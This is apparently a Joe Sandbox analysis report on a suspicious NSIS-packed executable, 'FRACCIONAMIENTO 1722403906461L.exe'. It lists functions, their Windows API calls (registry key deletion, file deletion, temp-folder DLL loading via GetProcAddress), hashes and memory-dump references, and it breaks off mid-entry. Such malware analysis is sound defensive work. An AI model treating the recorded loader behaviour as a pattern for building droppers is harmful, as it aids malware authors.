DeleteFileW.KERNEL32(?,00000000,40000000,00000002,00000000,00000000,000000F0), ref: 00402A48

Memory Dump Source

Source File: 00000001.00000002.16134259597.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.16134207017.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134364460.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134426828.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134636284.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134697616.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134797931.0000000000451000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_FRACCIONAMIENTO 1722403906461L.jbxd

Similarity

API ID: Global$AllocFree$CloseDeleteFileHandle
String ID:
API String ID: 2667972263-0
Opcode ID: cc682eb677fc0cdddcbf9664361c627099a0f91e8e9c012db3e8b517a211182c
Instruction ID: 78b93316678d616cb595922dcd62a83f4062aa2fb33f08fb70827f98fa9650ab
Opcode Fuzzy Hash: cc682eb677fc0cdddcbf9664361c627099a0f91e8e9c012db3e8b517a211182c
Instruction Fuzzy Hash: E131B171D00124BBCF216FA9CE89D9EBE79AF09364F10023AF461762E1CB794D429B58

Uniqueness

Uniqueness Score: -1.00%

Function 00404E71 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 84stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(00423748,00423748,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,?,000000DF,00000000,00000400,?), ref: 00404F12
wsprintfW.USER32 ref: 00404F1B
SetDlgItemTextW.USER32(?,00423748), ref: 00404F2E

Strings

H7B, xrefs: 00404F04
%u.%u%s%s, xrefs: 00404EFC

Memory Dump Source

Source File: 00000001.00000002.16134259597.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.16134207017.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134364460.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134426828.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134636284.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134697616.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134797931.0000000000451000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_FRACCIONAMIENTO 1722403906461L.jbxd

Similarity

API ID: ItemTextlstrlenwsprintf
String ID: %u.%u%s%s$H7B
API String ID: 3540041739-107966168
Opcode ID: 9c55475845004576d56970086a3160dc1853a6ea3782dd039902276dcfc99cf4
Instruction ID: 20619224473e8c08b4fba53027c62ddcf1c3fef784a2ba69f514aa474de30786
Opcode Fuzzy Hash: 9c55475845004576d56970086a3160dc1853a6ea3782dd039902276dcfc99cf4
Instruction Fuzzy Hash: 1A11D8736041283BDB00A5ADDC45E9F3298AB81338F150637FA26F61D1EA79882182E8

Uniqueness

Uniqueness Score: -1.00%

Function 71312480 Relevance: 7.6, APIs: 5, Instructions: 135memoryCOMMON

Download Yara Rule

APIs

GlobalFree.KERNEL32(00000000), ref: 713125C2

Part of subcall function 713112CC: lstrcpynW.KERNEL32(00000000,?,7131137F,00000019,713111CA,-000000A0), ref: 713112DC

GlobalAlloc.KERNEL32(00000040), ref: 71312548
WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,00000000,?,00000000,00000000), ref: 71312563

Memory Dump Source

Source File: 00000001.00000002.16158677852.0000000071311000.00000020.00000001.01000000.00000004.sdmp, Offset: 71310000, based on PE: true

Associated: 00000001.00000002.16158620855.0000000071310000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.16158742239.0000000071314000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.16158797854.0000000071316000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_71310000_FRACCIONAMIENTO 1722403906461L.jbxd

Similarity

API ID: Global$AllocByteCharFreeMultiWidelstrcpyn
String ID:
API String ID: 4216380887-0
Opcode ID: a2916895dec2fda7482b27df40215683b31dbe97318b3d08de9c63e5ef422862
Instruction ID: cf76e0357df39c52795a01f5679a2eed4327e53415a0fedbd382e6df1a9003a5
Opcode Fuzzy Hash: a2916895dec2fda7482b27df40215683b31dbe97318b3d08de9c63e5ef422862
Instruction Fuzzy Hash: 4A41B1B1408B0BDFD719DF69D880E66B7BCFB54318F20491EE44787188EB30A559EB61

Uniqueness

Uniqueness Score: -1.00%

Function 00402EA9 Relevance: 7.6, APIs: 5, Instructions: 84registryCOMMON

Download Yara Rule

APIs

RegEnumValueW.ADVAPI32(?,00000000,?,?,00000000,00000000,00000000,00000000,?,?,00100020,?,?,?), ref: 00402EFD
RegEnumKeyW.ADVAPI32(?,00000000,?,00000105), ref: 00402F49
RegCloseKey.ADVAPI32(?,?,?), ref: 00402F52
RegDeleteKeyW.ADVAPI32(?,?), ref: 00402F69
RegCloseKey.ADVAPI32(?,?,?), ref: 00402F74

Memory Dump Source

Source File: 00000001.00000002.16134259597.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.16134207017.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134364460.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134426828.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134636284.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134697616.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134797931.0000000000451000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_FRACCIONAMIENTO 1722403906461L.jbxd

Similarity

API ID: CloseEnum$DeleteValue
String ID:
API String ID: 1354259210-0
Opcode ID: 953796069c20d6fa7490a0bfa1861ca0c616837e62ffc418281f2642f3cef6d6
Instruction ID: 37c7ba0f9c491dd7f389852fcb35a119484072d927876f68e32cbd91f0a54eef
Opcode Fuzzy Hash: 953796069c20d6fa7490a0bfa1861ca0c616837e62ffc418281f2642f3cef6d6
Instruction Fuzzy Hash: 6D216B7150010ABBDF11AF94CE89EEF7B7DEB50384F110076F909B21E0D7B49E54AA68

Uniqueness

Uniqueness Score: -1.00%

Function 00401D81 Relevance: 7.6, APIs: 5, Instructions: 75windowCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,?), ref: 00401D9A
GetClientRect.USER32(?,?), ref: 00401DE5
LoadImageW.USER32(?,?,?,?,?,?), ref: 00401E15
SendMessageW.USER32(?,00000172,?,00000000), ref: 00401E29
DeleteObject.GDI32(00000000), ref: 00401E39

Memory Dump Source

Source File: 00000001.00000002.16134259597.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.16134207017.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134364460.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134426828.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134636284.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134697616.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134797931.0000000000451000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_FRACCIONAMIENTO 1722403906461L.jbxd

Similarity

API ID: ClientDeleteImageItemLoadMessageObjectRectSend
String ID:
API String ID: 1849352358-0
Opcode ID: 100b3177012869429c2005611ce111630833f28d1ab152a2d5a2575cfc39775b
Instruction ID: 4d725fdcf847a80329c23b38d7164c003567f542edd6fcacfb34c9ebeef40da9
Opcode Fuzzy Hash: 100b3177012869429c2005611ce111630833f28d1ab152a2d5a2575cfc39775b
Instruction Fuzzy Hash: 67212672904119AFCB05CBA4DE45AEEBBB5EF08304F14003AF945F62A0CB389951DB98

Uniqueness

Uniqueness Score: -1.00%

Function 00401E4E Relevance: 7.5, APIs: 5, Instructions: 43COMMON

Download Yara Rule

APIs

GetDC.USER32(?), ref: 00401E51
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00401E6B
MulDiv.KERNEL32(00000000,00000000), ref: 00401E73
ReleaseDC.USER32(?,00000000), ref: 00401E84

Part of subcall function 004066A5: lstrcatW.KERNEL32(Call,\Microsoft\Internet Explorer\Quick Launch), ref: 0040684A
Part of subcall function 004066A5: lstrlenW.KERNEL32(Call,00000000,00422728,?,00405701,00422728,00000000), ref: 004068A4

CreateFontIndirectW.GDI32(0040CDF8), ref: 00401ED3

Memory Dump Source

Source File: 00000001.00000002.16134259597.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.16134207017.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134364460.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134426828.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134636284.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134697616.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134797931.0000000000451000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_FRACCIONAMIENTO 1722403906461L.jbxd

Similarity

API ID: CapsCreateDeviceFontIndirectReleaselstrcatlstrlen
String ID:
API String ID: 2584051700-0
Opcode ID: da8e727cde32dbac5ba0c7db49ef74d213bcb2a0e3f4fe6d3c107a90d4fe1e84
Instruction ID: b9cc094806d22c325402cb6ccb5f5134c2025175c414775df3ff87de861ccae2
Opcode Fuzzy Hash: da8e727cde32dbac5ba0c7db49ef74d213bcb2a0e3f4fe6d3c107a90d4fe1e84
Instruction Fuzzy Hash: 8401B571900241EFEB005BB4EE89A9A3FB0AB15301F208939F541B71D2C6B904459BED

Uniqueness

Uniqueness Score: -1.00%

Function 713116BD Relevance: 7.5, APIs: 5, Instructions: 41memorylibraryloaderCOMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000000,00000000,00000000,00000808,00000000,?,00000000,713122D8,?,00000808), ref: 713116D5
GlobalAlloc.KERNEL32(00000040,00000000,?,00000000,713122D8,?,00000808), ref: 713116DC
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000000,00000000,00000000,?,00000000,713122D8,?,00000808), ref: 713116F0
GetProcAddress.KERNEL32(713122D8,00000000), ref: 713116F7
GlobalFree.KERNEL32(00000000), ref: 71311700

Memory Dump Source

Source File: 00000001.00000002.16158677852.0000000071311000.00000020.00000001.01000000.00000004.sdmp, Offset: 71310000, based on PE: true

Associated: 00000001.00000002.16158620855.0000000071310000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.16158742239.0000000071314000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.16158797854.0000000071316000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_71310000_FRACCIONAMIENTO 1722403906461L.jbxd

Similarity

API ID: ByteCharGlobalMultiWide$AddressAllocFreeProc
String ID:
API String ID: 1148316912-0
Opcode ID: c5cd68c9a1fdebda7aefa9e33e47c74ce12fc8f22babc665475af5746989fb99
Instruction ID: 4aa796f54c12ed40b5296d7f4ad217a1ef07fe9a4fa19003cc864e4cb1cc65ce
Opcode Fuzzy Hash: c5cd68c9a1fdebda7aefa9e33e47c74ce12fc8f22babc665475af5746989fb99
Instruction Fuzzy Hash: 2DF0AC7320A5387BE62116A78C4CD9BBE9CDF8B6F5B220225F6289219096619D01E7F1

Uniqueness

Uniqueness Score: -1.00%

Function 00401C43 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84windowtimeCOMMON

Download Yara Rule

APIs

SendMessageTimeoutW.USER32(00000000,00000000,?,?,?,00000002,?), ref: 00401CB3
SendMessageW.USER32(00000000,00000000,?,?), ref: 00401CCB

Strings

!, xrefs: 00401C7F

Memory Dump Source

Source File: 00000001.00000002.16134259597.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.16134207017.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134364460.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134426828.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134636284.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134697616.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134797931.0000000000451000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_FRACCIONAMIENTO 1722403906461L.jbxd

Similarity

API ID: MessageSend$Timeout
String ID: !
API String ID: 1777923405-2657877971
Opcode ID: b183ccb6ab3284ced798d12f720e161a9248df31e23c89b80f307d5b894ef539
Instruction ID: e1c20d37316975b9b94706f7b3abd8da4b7b3b5136eece5bd2aa3cbae88a6c19
Opcode Fuzzy Hash: b183ccb6ab3284ced798d12f720e161a9248df31e23c89b80f307d5b894ef539
Instruction Fuzzy Hash: 28219E7190420AEFEF05AFA4D94AAAE7BB4FF44304F14453EF601B61D0D7B88941CB98

Uniqueness

Uniqueness Score: -1.00%

Function 00406536 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 44registryCOMMON

Download Yara Rule

APIs

RegQueryValueExW.ADVAPI32(?,?,00000000,?,?,0040A230,00000000,('B,00000000,?,?,Call,?,?,0040679D,80000002), ref: 0040657C
RegCloseKey.ADVAPI32(?,?,0040679D,80000002,Software\Microsoft\Windows\CurrentVersion,Call,Call,Call,00000000,00422728), ref: 00406587

Strings

('B, xrefs: 0040655B
Call, xrefs: 0040653D

Memory Dump Source

Source File: 00000001.00000002.16134259597.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.16134207017.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134364460.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134426828.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134636284.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134697616.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134797931.0000000000451000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_FRACCIONAMIENTO 1722403906461L.jbxd

Similarity

API ID: CloseQueryValue
String ID: ('B$Call
API String ID: 3356406503-2122505255
Opcode ID: abb8e2472c70d4d58aecb7d0dfcf889930bd109b5a1b9baac0574de2233c5019
Instruction ID: 52dd0fe420a7c1e2827d1a164217834099ee72e945ce70567094b216899e5676
Opcode Fuzzy Hash: abb8e2472c70d4d58aecb7d0dfcf889930bd109b5a1b9baac0574de2233c5019
Instruction Fuzzy Hash: C4017C72500209FADF21CF51DD09EDB3BA8EF54364F01803AFD1AA2190D738D964DBA4

Uniqueness

Uniqueness Score: -1.00%

Function 00405F37 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 16stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(?,C:\Users\user\AppData\Local\Temp\,0040362D,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403923), ref: 00405F3D
CharPrevW.USER32(?,00000000,?,C:\Users\user\AppData\Local\Temp\,0040362D,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403923), ref: 00405F47
lstrcatW.KERNEL32(?,0040A014), ref: 00405F59

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00405F37

Memory Dump Source

Source File: 00000001.00000002.16134259597.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.16134207017.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134364460.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134426828.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134636284.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134697616.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134797931.0000000000451000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_FRACCIONAMIENTO 1722403906461L.jbxd

Similarity

API ID: CharPrevlstrcatlstrlen
String ID: C:\Users\user\AppData\Local\Temp\
API String ID: 2659869361-3355392842
Opcode ID: 7317fb0b60a0da6156192e69c80d181f5022b3d5f83b8f009beaa75eacd33bdb
Instruction ID: 9007417a49851ea4d61da9c71e51c63d156abd36d345156a737e00ee84923012
Opcode Fuzzy Hash: 7317fb0b60a0da6156192e69c80d181f5022b3d5f83b8f009beaa75eacd33bdb
Instruction Fuzzy Hash: 59D05E611019246AC111AB548D04DDB63ACAE85304742046AF601B60A0CB7E196287ED

Uniqueness

Uniqueness Score: -1.00%

Function 713110E1 Relevance: 6.4, APIs: 5, Instructions: 145memoryCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,?), ref: 71311171
GlobalAlloc.KERNEL32(00000040,?), ref: 713111E3
GlobalFree.KERNEL32 ref: 7131124A
GlobalFree.KERNEL32(?), ref: 7131129B
GlobalFree.KERNEL32(00000000), ref: 713112B1

Memory Dump Source

Source File: 00000001.00000002.16158677852.0000000071311000.00000020.00000001.01000000.00000004.sdmp, Offset: 71310000, based on PE: true

Associated: 00000001.00000002.16158620855.0000000071310000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.16158742239.0000000071314000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.16158797854.0000000071316000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_71310000_FRACCIONAMIENTO 1722403906461L.jbxd

Similarity

API ID: Global$Free$Alloc
String ID:
API String ID: 1780285237-0
Opcode ID: a69ccc779075f6646aabad9ae1bfcd3401441575877b4d524e0976c5debee3ee
Instruction ID: 5d8ca6cd4d7c04e4db4fa4b06d7ebb9c9e69f1425e601b1dc26b6364ffc04c9e
Opcode Fuzzy Hash: a69ccc779075f6646aabad9ae1bfcd3401441575877b4d524e0976c5debee3ee
Instruction Fuzzy Hash: 5E5192B6904A07DFE705CFB9C844AD67BBCFB09319B10452AF946DB218E734D901EB50

Uniqueness

Uniqueness Score: -1.00%

Function 0040263E Relevance: 6.1, APIs: 2, Strings: 2, Instructions: 65stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(C:\Users\user\AppData\Local\Temp\nsr68C1.tmp\System.dll), ref: 00402695

Strings

C:\Users\user\AppData\Local\Temp\nsr68C1.tmp, xrefs: 00402683
C:\Users\user\AppData\Local\Temp\nsr68C1.tmp\System.dll, xrefs: 00402659, 0040267E, 00402690, 004026DC

Memory Dump Source

Source File: 00000001.00000002.16134259597.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.16134207017.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134364460.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134426828.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134636284.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134697616.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134797931.0000000000451000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_FRACCIONAMIENTO 1722403906461L.jbxd

Similarity

API ID: lstrlen
String ID: C:\Users\user\AppData\Local\Temp\nsr68C1.tmp$C:\Users\user\AppData\Local\Temp\nsr68C1.tmp\System.dll
API String ID: 1659193697-3043605104
Opcode ID: deb6aecb68a4fcc871865c33c7eb0d229bd94635ca94da12f7e7702f6dba88c5
Instruction ID: f1e3379d491753f9d96dc3c217618d2e64da59e9cc8309568291ba5d2d488428
Opcode Fuzzy Hash: deb6aecb68a4fcc871865c33c7eb0d229bd94635ca94da12f7e7702f6dba88c5
Instruction Fuzzy Hash: D511C472A00205EBCB10BBB18E4AA9E76619F44758F21483FE402B61C1DAFD8891965F

Uniqueness

Uniqueness Score: -1.00%

Function 00403C25 Relevance: 6.0, APIs: 2, Strings: 2, Instructions: 20COMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(000002E0,C:\Users\user\AppData\Local\Temp\,00403B71,?), ref: 00403C37
CloseHandle.KERNEL32(000002EC,C:\Users\user\AppData\Local\Temp\,00403B71,?), ref: 00403C4B

Strings

C:\Users\user\AppData\Local\Temp\nsr68C1.tmp, xrefs: 00403C5B
C:\Users\user\AppData\Local\Temp\, xrefs: 00403C2A

Memory Dump Source

Source File: 00000001.00000002.16134259597.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.16134207017.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134364460.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134426828.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134636284.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134697616.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134797931.0000000000451000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_FRACCIONAMIENTO 1722403906461L.jbxd

Similarity

API ID: CloseHandle
String ID: C:\Users\user\AppData\Local\Temp\$C:\Users\user\AppData\Local\Temp\nsr68C1.tmp
API String ID: 2962429428-1388264503
Opcode ID: 3450910aa3eb4a83e9339ad550daa728f038e8843dee50fd20da138f79135bda
Instruction ID: ab9e488bef71b432d29da19662b82269d7b8f1628316f3e3d8f7e3aa77a32ace
Opcode Fuzzy Hash: 3450910aa3eb4a83e9339ad550daa728f038e8843dee50fd20da138f79135bda
Instruction Fuzzy Hash: 3BE0863244471496E5246F7DAF4D9853B285F413357248726F178F60F0C7389A9B4A9D

Uniqueness

Uniqueness Score: -1.00%

Function 0040603F Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 47stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00406668: lstrcpynW.KERNEL32(?,?,00000400,004037B0,00429260,NSIS Error), ref: 00406675

Part of subcall function 00405FE2: CharNextW.USER32(?,?,00425F50,?,00406056,00425F50,00425F50,769B3420,?,769B2EE0,00405D94,?,769B3420,769B2EE0,00000000), ref: 00405FF0
Part of subcall function 00405FE2: CharNextW.USER32(00000000), ref: 00405FF5
Part of subcall function 00405FE2: CharNextW.USER32(00000000), ref: 0040600D

lstrlenW.KERNEL32(00425F50,00000000,00425F50,00425F50,769B3420,?,769B2EE0,00405D94,?,769B3420,769B2EE0,00000000), ref: 00406098
GetFileAttributesW.KERNEL32(00425F50,00425F50,00425F50,00425F50,00425F50,00425F50,00000000,00425F50,00425F50,769B3420,?,769B2EE0,00405D94,?,769B3420,769B2EE0), ref: 004060A8

Strings

P_B, xrefs: 00406045

Memory Dump Source

Source File: 00000001.00000002.16134259597.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.16134207017.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134364460.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134426828.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134636284.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134697616.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134797931.0000000000451000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_FRACCIONAMIENTO 1722403906461L.jbxd

Similarity

API ID: CharNext$AttributesFilelstrcpynlstrlen
String ID: P_B
API String ID: 3248276644-906794629
Opcode ID: 900e3a3aedd828ccf636743a116f58552bc6887dcb5d3e9637a901da882d1290
Instruction ID: df110f430b83b9381375b5fd3fa67f6c4419d4890c6468873e0fced3c2676832
Opcode Fuzzy Hash: 900e3a3aedd828ccf636743a116f58552bc6887dcb5d3e9637a901da882d1290
Instruction Fuzzy Hash: 0DF07826144A1216E622B23A0C05BAF05098F82354B07063FFC93B22E1DF3C8973C43E

Uniqueness

Uniqueness Score: -1.00%

Function 0040563E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 0040566D
CallWindowProcW.USER32(?,?,?,?), ref: 004056BE

Part of subcall function 00404610: SendMessageW.USER32(?,00000000,00000000,00000000), ref: 00404622

Strings

, xrefs: 0040564E

Memory Dump Source

Source File: 00000001.00000002.16134259597.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.16134207017.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134364460.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134426828.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134636284.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134697616.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134797931.0000000000451000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_FRACCIONAMIENTO 1722403906461L.jbxd

Similarity

API ID: Window$CallMessageProcSendVisible
String ID:
API String ID: 3748168415-3916222277
Opcode ID: a73dc4e993bde12ea44745026bd4b5676165c6f206d332bc9731ab0fc1b08652
Instruction ID: 537e1cae7e4c88fb21f4f8cfd237bdd46b0b38e99f2a5e053ca6ba0093d9a5c8
Opcode Fuzzy Hash: a73dc4e993bde12ea44745026bd4b5676165c6f206d332bc9731ab0fc1b08652
Instruction Fuzzy Hash: 4401B171200608AFEF205F11DD84A6B3A35EB84361F904837FA08752E0D77F8D929E6D

Uniqueness

Uniqueness Score: -1.00%

Function 00405F83 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(80000000,C:\Users\user\Desktop,0040313C,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\FRACCIONAMIENTO 1722403906461L.exe,C:\Users\user\Desktop\FRACCIONAMIENTO 1722403906461L.exe,80000000,00000003), ref: 00405F89
CharPrevW.USER32(80000000,00000000,80000000,C:\Users\user\Desktop,0040313C,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\FRACCIONAMIENTO 1722403906461L.exe,C:\Users\user\Desktop\FRACCIONAMIENTO 1722403906461L.exe,80000000,00000003), ref: 00405F99

Strings

C:\Users\user\Desktop, xrefs: 00405F83

Memory Dump Source

Source File: 00000001.00000002.16134259597.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.16134207017.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134364460.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134426828.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134636284.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134697616.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.16134797931.0000000000451000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

